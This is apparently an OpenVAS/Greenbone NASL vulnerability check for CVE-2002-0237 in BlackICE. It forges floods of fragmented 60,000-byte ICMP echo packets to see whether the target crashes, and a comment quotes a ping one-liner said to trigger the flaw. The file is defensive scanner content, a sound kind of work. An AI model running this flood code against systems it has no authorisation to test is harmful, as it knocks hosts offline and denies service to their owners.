BlackIce DoS (ping flood)

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# TBD : eEyes gives this "exploit": ping -s 60000 -c 16 -p CC 1.1.1.1
#       But according to others, it doesn't work.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10927");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/4025");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2002-0237");
  script_name("BlackIce DoS (ping flood)");
  script_category(ACT_FLOOD);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("global_settings.nasl", "os_detection.nasl");
  script_exclude_keys("keys/TARGET_IS_IPV6");
  script_mandatory_keys("Host/runs_windows"); # BlackICE Defender / Agent running on Windows according to some advisories.

  #  script_add_preference(name:"Flood length :", type:"entry", value:"600");
  #  script_add_preference(name:"Data length :", type:"entry", value:"10000");
  #  script_add_preference(name:"MTU :", type:"entry", value:"576");

  script_tag(name:"solution", value:"Upgrade your BlackIce software or remove it.");

  script_tag(name:"impact", value:"An attacker may use this attack to make this host crash continuously, preventing
  you from working properly.");

  script_tag(name:"summary", value:"It was possible to crash the remote machine by flooding it
  with 10 KB ping packets.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_probe");

  exit(0);
}

if( TARGET_IS_IPV6() ) exit( 0 );

# Ensure that the host is still up
start_denial();
sleep( 2 );
up = end_denial();
if( ! up ) exit( 0 );

#fl = script_get_preference("Flood length :");
if( ! fl ) fl = 600;
#dl = script_get_preference("Data length :");
if( ! dl ) dl = 60000;
#mtu = script_get_preference("MTU :");
if( ! mtu ) mtu = 1500;
maxdata = mtu - 20 - 8; # IP + ICMP
maxdata = maxdata / 8; maxdata = maxdata * 8;
if( maxdata < 16 ) maxdata = 544;

src = this_host();
dst = get_host_ip();
id = 666;
seq = 0;

start_denial();

for( i = 0; i < fl; i++ ) {

  id = id + 1;
  seq = seq + 1;
  for( j = 0; j < dl; j = j + maxdata ) {
    datalen = dl - j;
    o = j / 8;
    if( datalen > maxdata ) {
      o = o | 0x2000;
      datalen = maxdata;
    }
    ip = forge_ip_packet( ip_v:4, ip_hl:5, ip_tos:0, ip_off:o,
                          ip_p:IPPROTO_ICMP, ip_id:id, ip_ttl:0x40,
                          ip_src:this_host() );
    icmp = forge_icmp_packet( ip:ip, icmp_type:8, icmp_code:0,
                              icmp_seq:seq, icmp_id:seq, data:crap( datalen - 8 ) );
    send_packet( icmp, pcap_active:FALSE );
  }
}

alive = end_denial();
if( ! alive ) {
  security_message(port:0, proto:"icmp");
  set_kb_item( name:"Host/dead", value:TRUE );
  exit( 0 );
}

exit( 99 );